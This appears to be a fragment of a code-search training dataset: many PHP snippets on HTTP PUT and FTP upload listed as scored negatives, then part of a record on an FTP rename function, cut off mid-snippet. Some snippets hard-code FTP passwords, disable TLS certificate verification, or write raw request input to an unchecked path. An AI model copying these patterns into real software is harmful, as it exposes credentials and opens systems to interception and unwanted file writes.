CURLOPT_POSTFIELDS, $fields); //set fields, ensure they are properly encoded\n curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // set headers pass encoding here and tokens.\n $response = curl_exec($ch); // save the response\n curl_close ($ch);\n return $response;\n}", "public function put($path, $content);", "function uploadFilePUT($dest)\n{\n\tif(!($putdata = fopen(\"php://input\", \"r\")))\n\t{\n\t\terrorlog_withlevel('Could not read Input data',1);\n\t}\n\n\t/* Open a file for writing */\n\tif(!($fp = fopen($dest, \"w\")))\n\t{\n\t\terrorlog_withlevel('Could not open output file: '.$dest,2);\n\t}\n\n\t/* Read the data 1 KB at a time and write to the file */\n\twhile ($data = fread($putdata, 1024))\n \t\tfwrite($fp, $data);\n\n\t/* Close the streams */\n\tfclose($fp);\n\tfclose($putdata);\n\n\treturn true;\n}", "Function _ftpupload($ftpfilename,$ftpwhse)\n{\n\t$serverarray = array(2=>\"10.1.112.199\",3=>\"10.1.22.212\",6=>\"10.1.17.208\",7=>\"10.1.18.194\",9=>\"10.1.16.206\",11=>\"10.10.200.209\");\n\t$server = $serverarray[$ftpwhse];\n\t//$server = \"10.1.16.206\";\n\t$ftp_user_name = \"anonymous\";\n\t$ftp_user_pass = \"[email protected]\";\n\t$dest = \"$ftpfilename\";\n\t$source = \"./exports/$ftpfilename\";\n\t$connection = ftp_connect($server);\n\t$login = ftp_login($connection, $ftp_user_name, $ftp_user_pass);\n\tif (!$connection || !$login) { die('Connection attempt failed!'); }\n\techo \"<br /><br />Uploading $ftpfilename for Whse $ftpwhse<br /><br />\";\n\t$upload = ftp_put($connection, $dest, $source, FTP_ASCII);\n\tif (!$upload) { echo 'FTP upload failed!'; } else { echo'FTP Succeeded!';}\n\tprint_r(error_get_last());\n\tftp_close($connection); \n}", "function uploadFilePUT($dest)\n{\n\tif(!($putdata = fopen(\"php://input\", \"r\")))\n\t{\n\t\terror_log('Could not read Input data');\n\t}\n\n\t/* Open a file for writing */\n\tif(!($fp = fopen($dest, \"w\")))\n\t{\n\t\terror_log('Could not open output file: '.$dest);\n\t}\n\n\t/* Read the data 1 KB at a time and write to the file */\n\twhile ($data = fread($putdata, 1024))\n \t\tfwrite($fp, $data);\n\n\t/* Close the streams */\n\tfclose($fp);\n\tfclose($putdata);\n\n\treturn true;\n}", "public function putAction() {\n\t\t// TODO: Implement putAction() method.\n\t}", "public function setPutFile($file = null) {}", "function FtpUpload($dest_file, $src_file){\n\n $server='localhost'; // ftp server\n $connection = ftp_connect($server); // connection\n\n // login to ftp server\n $user = \"linkrx7\";\n $pass = \"rotary\";\n $result = ftp_login($connection, $user, $pass);\n// check connection\nif ((!$connection) || (!$result)) { \n echo \"FTP connection has failed!\";\n echo \"Attempted to connect to $ftp_server for user $ftp_user_name\"; \n exit; \n}\n// upload the file\n$upload = ftp_put($connection, $dest_file, $src_file, FTP_BINARY); \n\n// check upload status\nif (!$upload) { \n echo \"FTP upload has failed!\";\n }\n// close the FTP stream \nftp_close($connection);\n}", "public function getMethod()\n {\n return 'putRemoteFile';\n }", "public function getMethod()\n {\n return 'putRemoteFile';\n }", "public function silo_put($path, $filedata)\r\n\t{\r\n\t}", "public function silo_put($path, $filedata)\n\t{\n\t}", "public function put(string $source = '', string $target = '', bool $overwrite = false): void\n {\n if ($overwrite == true)\n {\n $mode = 'w';\n } else\n {\n $mode = 'x';\n }\n $stream = @fopen($this->_sftpGetPath($target), $mode);\n if (!$stream)\n {\n throw new SFTPException(\"Could not open file: $target\");\n }\n\n $handle = fopen($source, \"rb\");\n if (false === $handle)\n {\n throw new SFTPException(\"Could not open local file: $source.\");\n }\n\n while (!feof($handle))\n {\n $content = fread($handle, 8192);\n fwrite($stream, $content, 8192);\n }\n fclose($handle);\n fclose($stream);\n\n }", "function AFTERPUT(&$options)\r\n {\r\n \t\t// should add a few checks such as md5 checksum of file ...\r\n \t\t// Just to be sure file was transferred correctly\r\n \t\t\r\n \t\t// Maybe log file transfers ???\r\n \t\t\r\n \t\t\t$this->tx_cbywebdav_devlog(7,\"=== AFTER PUT START : \".serialize($options),\"cby_webdav\",\"PUT\");\r\n\t\t\t\t$t3io=$this->CFG->t3io;\r\n $virtualFilePath = $this->base .$options[\"path\"];\r\n if (!@$t3io->T3IsDir(dirname($virtualFilePath))) {\r\n \t\t\t\t\t$this->tx_cbywebdav_devlog(7,\"!!! ERROR AFTER PUT END, webdav path :\".$virtualFilePath.\", file path : \".$physicalFilePath ,\"cby_webdav\",\"PUT\");\r\n return \"409 Conflict\";\r\n }\r\n\r\n //$options[\"new\"] = !$t3io->T3FileExists($virtualFilePath);\r\n\t \t\t\t$virtualFilePath=$t3io->T3MakeFilePath($virtualFilePath);\r\n\t \t\t\t$info=$t3io->T3IsFileUpload($options[\"path\"]);\r\n \t\t\t $this->tx_cbywebdav_devlog(7,\"AFTER PUT info : \".serialize($info),\"cby_webdav\",\"PUT\");\r\n\t \t\t\tif ($info['isWebmount']) {\r\n\t\t\t\t\t$info['ufile']=$virtualFilePath;\r\n \t\t\t $this->tx_cbywebdav_devlog(7,\"afterput info : \".serialize($info),\"cby_webdav\",\"PUT\");\r\n\t\t\t\t\t$t3io->T3LinkFileUpload($info);\t\t\t\t\t//$GLOBALS['data']='';\r\n\t\t\t\t\t$physicalFilePath=$t3io->T3CleanFilePath($this->CFG->T3PHYSICALROOTDIR.$info['filepath']);\r\n\t\t\t\t\tunlink($physicalFilePath);\r\n\r\n \t \t\t\t} else $physicalFilePath=$virtualFilePath;\r\n \t \t\t\t\r\n \t\t\t$this->tx_cbywebdav_devlog(7,\"=== AFTER PUT END, webdav path :\".$virtualFilePath.\", file path : \".$physicalFilePath ,\"cby_webdav\",\"PUT\");\r\n return true;\r\n }", "public function isPut();", "public function testUpdateMetadata3UsingPUT()\n {\n }", "public function put($path, $data = null);", "public function put($key=null,$value=null){\n return $this->methodsData(\"put\",$key,$value);\n }", "public function testUpdateMetadata2UsingPUT()\n {\n }", "public function put($key, $value);", "public function put($key, $value);", "abstract public function put($data);", "public function testUpdateMetadata1UsingPUT()\n {\n }", "public function putAction() {}", "function http_put_stream($url, $stream = null, ?array $options = null, ?array &$info = null) {}", "function make_put_call($mid_url, $put_values) {\n global $base_url, $end_url;\n $curl = curl_init();\n curl_setopt($curl, CURLOPT_URL, $base_url . $mid_url . $end_url);\n curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);\n curl_setopt($curl, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($put_values));\n \n $output = curl_exec($curl);\n curl_close($curl);\n \n return $output;\n }", "public function testPutValue() : void {\n\t\t$this->assertEquals('PUT', HttpMethod::Put->value);\n\t}", "public function putAction() {\n\t\t\t$this->_forward('index');\n\t }", "function http_put_file($url, $file = null, ?array $options = null, ?array &$info = null) {}", "function Uploadfile($filename){\n\techo (\"Attempting to connect through FTP...\\n\"); \n\t$conn_id = ftp_connect('login.yahoo.com');\n\n\t // check connection\n\tif(!$conn_id){\n\t\techo \"Connection Failed \\n\";\n\t\texit ; \n\t}\n\telse\n\t\techo \"Connection Established \\n\";\n\t\n\t// login with username and password\n\techo (\"Logging in...\\n\");\n\t$login_result = ftp_login ($conn_id, 'yqa_jaya_arflow26', 'abcd1234abcd');\n\n\t// check result\n\tif(!$login_result){\n\t\techo \"Login Failed \\n\";\n\t\texit;\n\t}\n\telse\n\t\techo \"Login Successful \\n\";\n\n\t// upload the file\n\techo (\"Uploading '$filename' ... \\n\");\n\t$destination= '/public_html/uploads/' . $filename;\n\t$source =dirname(__FILE__). '/'.$filename;\n\t$upload =ftp_put($conn_id,$destination,$source, FTP_BINARY);\n\t\n\t//Check result\n\tif($upload)\n\t\techo \"Uploaded successfully\";\n\telse{\n\t\techo \"Upload failed\" ;\n\t\texit;\n\t}\n\t\n\t// close our connection\n\techo \"Closing FTP connection \\n\";\n\tftp_close($conn_id);\t\n\techo \"Connection Closed \\n\";\n}", "public function isPut()\n {\n return $this->_getMethod() === \\Yana\\Http\\Requests\\MethodEnumeration::PUT;\n }", "public function put(string $key, $value): void;", "function putcmd($cmd, $arg = \"\")\r\n {\r\n \tif (!$this->_socket) {\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \tif ($arg != \"\") {\r\n \t\t$cmd = $cmd.\" \".$arg;\r\n \t}\r\n \t\r\n \tfputs($this->_socket, $cmd.\"\\r\\n\");\r\n \t$this->debug(\"> \".$cmd.\"\\n\");\r\n \t\r\n \treturn TRUE;\r\n }", "public function put($url, $headers = [], $data = [], $options = [])\n {\n }", "public function testUpdateSupplierUsingPUT()\n {\n }", "function commandProcessorPut($commandId)\n{\n\tglobal $ajax;\n\n\tswitch ((int)$commandId)\n\t{\n\t\tcase 30:\n\t\t\tfileUpload();\n\t\t\tbreak;\n\t\tdefault:\n\t\t\t// If we get here, then the command is undefined.\n\t\t\t$ajax->sendCode(ajaxClass::CODE_NOTIMP,\n\t\t\t\t'The command ' . $_POST['COMMAND'] .\n\t\t\t\t' has not been implemented');\n\t\t\texit(1);\n\t\t\tbreak;\n\t}\n\texit;\n}", "public function put($url, $body = array(), $query = array(), $headers = array());", "public function putCommand(string $command, $info = NULL);", "public function isPut(): bool\n {\n return $this->getMethod() === self::METHOD_PUT;\n }", "public static function put($url, $data)\n {\n $putData = tmpfile();\n\n fwrite($putData, $data);\n fseek($putData, 0);\n\n $result = self::fetch($url, array(\n CURLOPT_PUT => true,\n CURLOPT_INFILE => $putData,\n CURLOPT_INFILESIZE => strlen($putData)\n ));\n\n fclose($putData);\n\n return $result;\n }", "static function put($url, $body = null, $headers = array()) {\n $request = new NiceHTTP\\PutRequest($url, $body, $headers);\n return $request->send();\n }", "public function put(string $route, callable $controller): void\n {\n $this->register($controller, Route::put($route));\n }", "public function put($content);", "public function addPut($pattern, $paths = null, $position = false)\n {\n return $this->add($pattern, $paths, 'PUT', $position);\n }", "public function put($pattern, $fn)\n {\n return $this->match('PUT', $pattern, $fn);\n }", "public function doPut($path, array $parsed_body);", "public static function put($url, array $options = []) {\n $ch = curl_init();\n static::parse_query_params($url, $options);\n curl_setopt($ch, CURLOPT_URL, $url);\n curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');\n static::set_body($ch, $options);\n static::parse_options($ch, $options);\n return static::parse_response(curl_exec($ch), $options);\n }", "public function put($fileName, $data)\n\t{\n\t\treturn file_put_contents($fileName, $data);\n\t}", "public function isPut()\n {\n return $this->getMethod() === self::METHOD_PUT;\n }", "function doPUT (HttpRequest $request, HttpResponse $response) {\n throw new Exception(\"PUT method not supported\");\n }", "public static function put($url, $headers = [], $data = [], $options = [])\n {\n }", "public function isPut(): bool {}", "public function index_put($id)\n {\n $input = $this->put();\n $this->write_db->update($_table, $input, array($_id=>$id));\n \n $this->response(['Item updated successfully.'], REST_Controller::HTTP_OK);\n }", "public function put($database, $url, $data);", "public function getMethod()\n {\n return 'putFile';\n }", "public function upload_file($file, $query){\r\n\t\t$ret = ftp_put($this->conn_id, $query, $query, FTP_BINARY, FTP_AUTORESUME);\r\n\t\t\t\r\n\t\t\r\n\t\t\r\n\t\tif($ret == \"1\") {\r\n\t\t\t\t$return = \"File '\" . $query . \"' Telah selesai di upload.\";\r\n\t\t\t\tunlink($query);\r\n\t\t} else {\r\n\t\t\t\t$return = \"$query Failed\";\r\n\t\t}\r\n\r\nwhile(FTP_MOREDATA == $ret) {\r\n\t\t\t//$ret = ftp_continue($this->conn_id);\r\n$ret = \"OK\";\r\n\t\t}\r\n\t\techo $return.\"<br>\";\r\n\t\treturn $return;\r\n\t}", "public function test__GetPut()\n\t{\n\t\t$this->assertThat(\n\t\t\t$this->object->objects->put,\n\t\t\t$this->isInstanceOf('JAmazons3OperationsObjectsPut')\n\t\t);\n\t}", "public function put(...$args)\n {\n return $this->curl('put', ...$args);\n }", "public function httpPut()\n {\n return $this->method(\"PUT\");\n }", "public function isPut()\n\t{\n\t\treturn $this->httpMethod() == self::MethodPut;\n\t}", "public function update_put(){\n $response = $this->PersonM->update_person(\n $this->put('id'),\n $this->put('name'),\n $this->put('hp'),\n $this->put('email'),\n $this->put('message')\n );\n $this->response($response);\n }", "function Put( $uri, $filecontent )\r\n\t{\r\n\t\tif( $this->debug & DBGTRACE ) echo \"Put( $uri, [filecontent not displayed )\\n\";\r\n\t\t$uri = $this->makeUri( $uri );\r\n\t\t$this->requestBody = $filecontent;\r\n\t\tif( $this->sendCommand( \"PUT $uri HTTP/$this->protocolVersion\" ) )\r\n\t\t\t$this->processReply();\r\n\t\treturn $this->reply;\r\n\t}", "public function put(string $route, callable $controller): void\n {\n $this->controllerAggregate->add($controller, Route::put($route));\n }", "public function isPut()\n {\n return $this->getMethod() === 'PUT';\n }", "protected function curl_put($uri, $fp,$access_token) {\n\n\t $output = \"\";\n\n\t try {\n\n\t \t$pointer = fopen($fp, 'r+');\n\n\t \t$stat = fstat($pointer);\n\n\t \t$pointersize = $stat['size'];\n\n\t\t$ch = curl_init($uri);\n\n\t\tcurl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');\n\n\t\tcurl_setopt($ch, CURLOPT_PUT, true);\n\n\t\tcurl_setopt($ch, CURLOPT_INFILE, $pointer);\n\n\t\tcurl_setopt($ch, CURLOPT_INFILESIZE, (int)$pointersize);\n\n\t\t//curl_setopt($ch, CURLOPT_HEADER, 0);\n\t\tcurl_setopt($ch, CURLOPT_HTTPHEADER, array('Authorization: Bearer '.$access_token));\n\n\t\tcurl_setopt($ch, CURLOPT_TIMEOUT, 60);\n\n\t\tcurl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);\n\n\t\tcurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\n\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\n\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);\n\n\t\tcurl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE);\n\n\t\t\n\n\t\t//HTTP response code 100 workaround\n\n\t\t//see http://www.php.net/manual/en/function.curl-setopt.php#82418\n\n\t\tcurl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));\t\t\t\n\n\t\t\n\n\t\t$output = curl_exec($ch);\n\n\t\t$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);\n\n\t } catch (Exception $e) {\n\n\t }\n\n\t \tif ($httpcode == \"200\" || $httpcode == \"201\") {\n\n\t \t\treturn json_decode($output, true);\n\n\t \t} else {\n\n\t \t\treturn array('error' => 'HTTP status code not expected - got ', 'description' => $httpcode);\n\n\t \t}\n\n\t\t\n\n\t}", "public function methodPut() {\n return $this->methodPost();\n }", "public function setPutData($put_data = null) {}", "function ftp_file($source_file, $dest_file, $mimetype, $disable_error_mode = false)\n{\n\tglobal $config, $lang, $error, $error_msg;\n\n\t$conn_id = attach_init_ftp();\n\n\t// Binary or Ascii ?\n\t$mode = FTP_BINARY;\n\tif (preg_match(\"/text/i\", $mimetype) || preg_match(\"/html/i\", $mimetype))\n\t{\n\t\t$mode = FTP_ASCII;\n\t}\n\n\t$res = @ftp_put($conn_id, $dest_file, $source_file, $mode);\n\n\tif (!$res && !$disable_error_mode)\n\t{\n\t\t$error = true;\n\t\tif (!empty($error_msg))\n\t\t{\n\t\t\t$error_msg .= '<br />';\n\t\t}\n\t\t$error_msg = sprintf($lang['Ftp_error_upload'], $config['ftp_path']) . '<br />';\n\t\t@ftp_quit($conn_id);\n\t\treturn false;\n\t}\n\n\tif (!$res)\n\t{\n\t\treturn false;\n\t}\n\n\t@ftp_site($conn_id, 'CHMOD 0644 ' . $dest_file);\n\t@ftp_quit($conn_id);\n\treturn true;\n}", "public function put($key, $value, $overwrite = false);", "public function putAction()\n {\n \n }", "public static function put(string $route, array $options = array()) {\n\t\t\n\t\tif (self::_hasAdapter(get_class(), __FUNCTION__))\n\t\t\treturn self::_callAdapter(get_class(), __FUNCTION__, $route, $options);\n\t\t\n\t\t$defaults = array(\n\t\t\t'listen'=>'PUT',\n\t\t\t'route' => $route,\n\t\t\t'rule'=> $route\n\t\t);\n\t\t\n\t\t$filtered = self::_applyFilter(get_class(), __FUNCTION__, array(\n\t\t\t'route' => $route,\n\t\t\t'options' => $options\n\t\t), array('event' => 'args'));\n\t\t\n\t\t$route = $filtered['route'];\n\t\t$options = $filtered['options'];\n\t\t\n\t\t$options += $defaults;\n\t\t\n\t\tself::addRouteRule($options);\n\t\t\n\t\tself::_notify(get_class() . '::' . __FUNCTION__, $route, $options);\n\t}", "public function addPutData($put_data) {}", "function put_file($filename) {\n\t\t//$r2s = skydrive_base_url.\"me/skydrive/files/\".basename($filename).\"?access_token=\".;\n\t\t$r2s = skydrive_base_url.\"me/drive/root:/\".basename($filename).\":/content\";\n\n\t\t$response = $this->curl_put($r2s, $filename,$this->access_token);\n\t\t\n\t\tif (@array_key_exists('error', $response)) {\n\n\t\t\tthrow new Exception($response['error'].\" - \".$response['description']);\n\n\t\t\texit;\n\n\t\t} else {\n\n\t\t\treturn $response;\n\n\t\t}\n\n\t\t\t\n\n\t}", "public function envoi($source, $destination, $mode = FTP_BINARY) {\n\t\t$CODE_RETOUR = false;\n\t\t\n\t\tif ($this->verifie_connexion ()) {\n\t\t\t$essai = 0;\n\t\t\t$sleep = 0;\n\t\t\twhile ( $CODE_RETOUR === false && $essai < $this->getNbRetry () ) {\n\t\t\t\tsleep ( $sleep );\n\t\t\t\t$CODE_RETOUR = ftp_put ( $this->conn_id, $destination, $source, $mode );\n\t\t\t\t$essai ++;\n\t\t\t\t$sleep ++;\n\t\t\t\tif ($CODE_RETOUR === false) {\n\t\t\t\t\t$this->_reconnect ();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $CODE_RETOUR;\n\t}", "public function api_put($path, $data = array()) {\n\n $path = GoCardless_Client::$api_path . $path;\n\n return $this->request('put', $path, $data);\n\n }", "private function put($url, $content = '', $type = 'application/xml', $header = '') {\n\t\t$url = $this->api_url . $url;\n\n\t\t// Set headers.\n\t\t$headers = array();\n\t\tif (!empty($type)) {\n\t\t\t$headers[] = 'Content-Type: ' . $type . '; charset=UTF-8';\n\t\t}\n\t\t$headers[] = 'Content-Length: ' . strlen($content);\n\t\tif (!empty($header)) {\n\t\t\t$headers[] = $header;\n\t\t}\n\n\t\t// PUT in PHP requires content to be in a file. Store in temp.\n\t\t$fp = fopen(\"php://temp\", \"r+\");\n\t\tfputs($fp, $content);\n\t\trewind($fp);\n\n\t\t// Open curl.\n\t\t$ch = curl_init();\n\t\tcurl_setopt($ch, CURLOPT_URL, $url);\n\t\tcurl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');\n\t\tif (count($headers) > 0) {\n\t\t\tcurl_setopt($ch, CURLOPT_HTTPHEADER, $headers);\n\t\t}\n\t\tcurl_setopt($ch, CURLOPT_POSTFIELDS, $content);\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t\tcurl_setopt($ch, CURLOPT_USERPWD, $this->api_username . \":\" . $this->api_password);\n\t\tcurl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\n\t\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n\t\t$output = curl_exec($ch);\n\t\tcurl_close($ch);\n\t\tfclose($fp);\n\t\treturn $output;\n\t}", "public function isPut() {\n\t\tif ('PUT' == $this->getMethod())\n\t\t{\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "public function isPut()\n {\n return $this->method === self::METHOD_PUT;\n }", "public function put()\n\t{\n\t\t$this->post();\n\n\t\t$response = $this->plugin->get( 'response' );\n\t\tif ( isset( $response->success ) && $response->success ) {\n\t\t\tJResponse::setHeader( 'status', 200, true );\n\t\t\t$response->code = 200;\n\t\t\t$this->plugin->setResponse( $response );\n\t\t}\n\t}", "public function isPut() {\n return $this->method == self::METHOD_PUT;\n }", "public function testUpdateCategoryUsingPUT()\n {\n }", "public function put($data)\n {\n global $_PM_;\n $api = 'handler_'.$this->handler.'_api';\n $this->api = new $api($_PM_, PHM_API_UID, $this->principalId);\n $this->api->update_item_content($this->item['id'], $data);\n }", "public function putFile(string $remoteFile, string $localFile) : bool\n {\n $this->checkConnection();\n\n try {\n $result = $this->uploadFile($this->FTPHandle, $remoteFile, $localFile);\n\n } catch (\\Exception $ex) {\n\n }\n\n return $result ?? false;\n }" ]
[ "0.7081873", "0.6898008", "0.6810957", "0.65114063", "0.6438358", "0.63907", "0.6193595", "0.6127646", "0.6127646", "0.60999465", "0.59738165", "0.5962006", "0.5959838", "0.59082735", "0.58797777", "0.579391", "0.5790206", "0.5773801", "0.5767205", "0.57565385", "0.5738535", "0.57383174", "0.5726652", "0.5708628", "0.5705485", "0.5686978", "0.5686978", "0.567572", "0.5673255", "0.56228006", "0.5622121", "0.5621413", "0.5618077", "0.55491364", "0.55358994", "0.55008155", "0.5500524", "0.5500524", "0.5479295", "0.54746455", "0.5473099", "0.54507375", "0.5440945", "0.54227847", "0.5403036", "0.54000866", "0.53954047", "0.53913385", "0.5384525", "0.53839475", "0.5370527", "0.5360821", "0.5349885", "0.5343835", "0.5328723", "0.5315251", "0.5302565", "0.5301814", "0.5295054", "0.52933896", "0.5274632", "0.5270946", "0.5266576", "0.5250802", "0.52428746", "0.5242529", "0.52344984", "0.5231161", "0.52265453", "0.5225443", "0.5224136", "0.521875", "0.5212295", "0.5212215", "0.5207533", "0.52059865", "0.520443", "0.519421", "0.5193022", "0.5181336", "0.5177365", "0.51768297", "0.51742077", "0.5167989", "0.5165093", "0.516328", "0.5161593", "0.51605177", "0.5154362", "0.51524603", "0.51484275", "0.51464236", "0.5144923", "0.51427734", "0.5138156", "0.5137954", "0.5133492", "0.51324797", "0.5123318", "0.5119767" ]
0.6032222
10
Rename executes a rename command on the remote FTP server.
public function rename($old, $new) { if ($this->getActive()) { // Rename the file if (ftp_rename($this->_connection, $old, $new)) { return true; } else { return false; } } else { throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function rename($from, $to)\r\n {\r\n \tif (!$this->file_exists($from)) {\r\n \t\t$this->debug(\"Error : No such file or directory \\\"\".$from.\"\\\"\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->_use_mod_ftp) {\r\n \t\tftp_rename($this->_socket, $from, $to);\r\n \t} else {\r\n \t$this->putcmd(\"RNFR\", $from);\r\n \t\r\n \tif (!$this->ok()) {\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->putcmd(\"RNTO\", $to);\r\n \t}\r\n \treturn $this->ok();\r\n }", "public function rename($newname);", "function rename($remote_from, $remote_to) {\r\n\t\t$res = @ftp_rename($this->_handle, $remote_from, $remote_to);\r\n\t\tif ( !$res ) {\r\n\t\t\tthrow new ftpRenameException($remote_from, $remote_to);\r\n\t\t}\r\n\t\treturn true;\r\n\t}", "public function rename($file, $new_file);", "public static function renamefile()\n\t{\n\t\tglobal $g_dir;\n\t\t$filetorename = $_POST['fileToRename'];\n\t\t$newfilename = $_POST['newRenamedFileName'];\n\n\t\t//$dir= '/var/www/html/UPLOADS/';\n\n\t\tif(rename($g_dir.$filetorename, $g_dir.$newfilename))\n\t\t\techo(\"Successfully renamed $filetorename to $newfilename!\");\n\t\telse\n\t\t\techo(\"ERROR: Could not rename $filetorename to $newfilename!\");\n\t}", "public function rename($name, $new_name);", "abstract function rename($old_file, $new_file, $move = FALSE);", "public function rename($source, $destination);", "public function rename()\n {\n $oldPath = $this->getFullPath($this->oldPath, $this->oldName);\n $newPath = $this->getFullPath();\n\n $renamed = $this->conn->getSFTP()->rename($oldPath, $newPath);\n\n $this->conn->getLogger()->debug(get_class($this) . '::rename', array('phpseclib_logs' => $this->conn->getSFTP()->getSFTPLog()));\n $this->conn->getLogger()->info(get_class($this) . '::rename - Renaming \"{old_path}\" to \"{path}\" on sftp server \"{server}\" {ret}', array(\n 'old_path' => $oldPath,\n 'path' => $newPath,\n 'server' => $this->conn->getServer(),\n 'ret' => ($renamed != false) ? 'succeed' : 'failed',\n ));\n\n if ($renamed == false) {\n throw new UnreachableItemException($this);\n }\n\n return $renamed;\n }", "public function covers_rename(): void\n {\n $response = $this->check_request('Rename cover');\n if (!$response) {\n $original = input_request('original');\n $newname = input_request('newname');\n if (file_exists(folder_covers() . $newname)) {\n $response = $this->get_response(true,\n 'Cannot rename, file exists');\n $this->log_error(\"Cover rename $original -> $newname EXISTS\");\n } else {\n $result = rename(folder_covers() . $original,\n folder_covers() . $newname);\n if ($result) {\n $response = $this->get_response(false, 'Cover renamed');\n $this->log_info(\"Cover rename $original -> $newname\");\n } else {\n $response = $this->get_response(true, 'Rename failed');\n $this->log_error(\n \"Cover rename $original -> $newname FAILED\");\n }\n }\n }\n exit(json_encode($response));\n }", "public function rename($source, $target)\n {\n \n }", "public function rename($path_from,$path_to){\n\t\t\tlist($url1,$cred1,$trgt1,$pth1)=self::usrpwd($path_from);\n\t\t\tlist($url2,$cred2,$trgt2,$pth2)=self::usrpwd($path_to);\n\t\t\t$ch = self::setup($url1,$cred1);\n\t\t\tif(!function_exists('k2f_ftp_renameHeaders')){\n\t\t\t\tfunction k2f_ftp_renameHeaders($ch,$hdr){\n\t\t\t\t\tif(CFG::get('DEBUG_VERBOSE'))xlog('FTPWRP: Read header: ',$hdr);\n\t\t\t\t\treturn strlen($hdr);\n\t\t\t\t}\n\t\t\t}\n\t\t\tcurl_setopt($ch,CURLOPT_HEADERFUNCTION,'k2f_ftp_renameHeaders');\n\t\t\txlog('FTPWRP: Renaming folder \"'.$pth1.'\" to \"'.$pth2.'\"...');\n\t\t\tcurl_setopt($ch,CURLOPT_QUOTE,array('RNFR '.$pth1,'RNTO '.$pth2));\n\t\t\tcurl_exec($ch);\n\t\t\tself::error($ch);\n\t\t\treturn curl_errno($ch)==0;\n\t\t}", "function gttn_tpps_rename_file($fid, $new_name, array $options = array()) {\n if (!array_key_exists('preserve', $options)) {\n $options['preserve'] = FALSE;\n }\n\n if (!empty($fid) and ($file = file_load($fid))) {\n $new_filename = $new_name . \".\" . gttn_tpps_get_path_extension($file->uri);\n if (!preg_match('/^(.*\\/)(.*)$/', $new_name, $matches)) {\n preg_match('/^(.*\\/).*$/', $file->uri, $matches);\n $new_filename = $matches[1] . $new_filename;\n }\n\n if ($options['preserve']) {\n $file->status = FILE_STATUS_PERMANENT;\n file_save($file);\n return file_copy($file, $new_filename);\n }\n return file_move($file, $new_filename);\n }\n throw new Exception(\"Error: could not open file\");\n}", "public function nameCommand()\n {\n $userName = $this->getFromName();\n if (!empty($this->e->getParams())) {\n $newName = implode(' ', $this->e->getParams());\n $this->reply($userName . ' теперь известен как ' . $newName);\n } else {\n $newName = $userName;\n $this->reply($userName . ' теперь использует имя по-умолчанию');\n }\n $this->setUserName($this->getUserId(), $newName);\n }", "function rename($file)\r\n {\r\n if(!empty($_POST['rename']))\r\n {\r\n if(rename($_POST['file'],$_POST['rename']));\r\n return 1;return 0;\r\n }\r\n }", "public function rename(string $from, string $to): Promise;", "protected function apiRename($args)\n {\n // Check rename possibility\n if (Settings::get('usercanchangename') != \"1\") {\n throw new ThreadProcessorException(\n 'server: forbidden to change name',\n ThreadProcessorException::ERROR_FORBIDDEN_RENAME\n );\n }\n\n // Load thread\n $thread = self::getThread($args['threadId'], $args['token']);\n\n // Check if new name exists\n self::checkParams($args, array('name'));\n\n //Rename user\n $thread->renameUser($args['name']);\n // Update user name in cookies\n $data = strtr(base64_encode($args['name']), '+/=', '-_,');\n\n $cookie_properties = array( 'expires' => time() + 60 * 60 * 24 * 365 );\n if (version_compare(phpversion(), '7.3.0', '<')) {\n setcookie(USERNAME_COOKIE_NAME, $data, $cookie_properties['expires']);\n } else {\n if ($this->currentRequest && $this->currentRequest->isSecure()) {\n $cookie_properties['samesite'] = 'None';\n $cookie_properties['secure'] = true;\n }\n setcookie(USERNAME_COOKIE_NAME, $data, $cookie_properties);\n }\n }", "public function getName() {\n\t\treturn \"FTP\";\n\t}", "public function renameAction()\n {\n $user = $this->getConnectedUser();\n $em = $this->getDoctrine()->getManager();\n\n $request = $this->get('request');\n if ($request->getMethod() == 'POST') {\n $currentFolderId = $request->request->get('currentFolderId');\n $newName = $request->request->get('newName');\n $foldersId = $request->request->get('foldersId');\n $foldersId = json_decode($foldersId);\n $filesId = $request->request->get('filesId');\n $filesId = json_decode($filesId);\n\n if (!is_null($newName)) {\n\n $files = $em->getRepository('TimeBoxMainBundle:File')->findBy(array(\n 'user' => $user,\n 'id' => $filesId\n ));\n $folders = $em->getRepository('TimeBoxMainBundle:Folder')->findBy(array(\n 'user' => $user,\n 'id' => $foldersId\n ));\n\n if (!is_null($files) && sizeof($files) > 0) {\n foreach ($files as $file) {\n $file->setName($newName);\n $file->setIsDeleted(false);\n }\n }\n if (!is_null($folders) && sizeof($folders) > 0) {\n foreach ($folders as $folder) {\n $folder->setName($newName);\n $this->manageFolderContent($folder, false);\n }\n }\n\n $em->flush();\n\n return $this->redirect($this->generateUrl('time_box_main_file', array(\n 'folderId' => $currentFolderId\n )));\n }\n\n $filesId = json_encode($filesId);\n $foldersId = json_encode($foldersId);\n\n return $this->render('TimeBoxMainBundle:File:rename.html.twig', array(\n 'folderId' => $currentFolderId,\n 'filesId' => $filesId,\n 'foldersId' => $foldersId\n ));\n }\n return new Response('');\n }", "function renameFile($FileId, $fileName){\n\t $args = array($FileId, $fileName);\n\n\t return $this->owner->call('FileService.renameFile', $args);\n\t}", "function cmd_rename($db, $params, $computer) {\n if (!isset($params['oldname']) || !isset($params['newname'])) {\n throw new 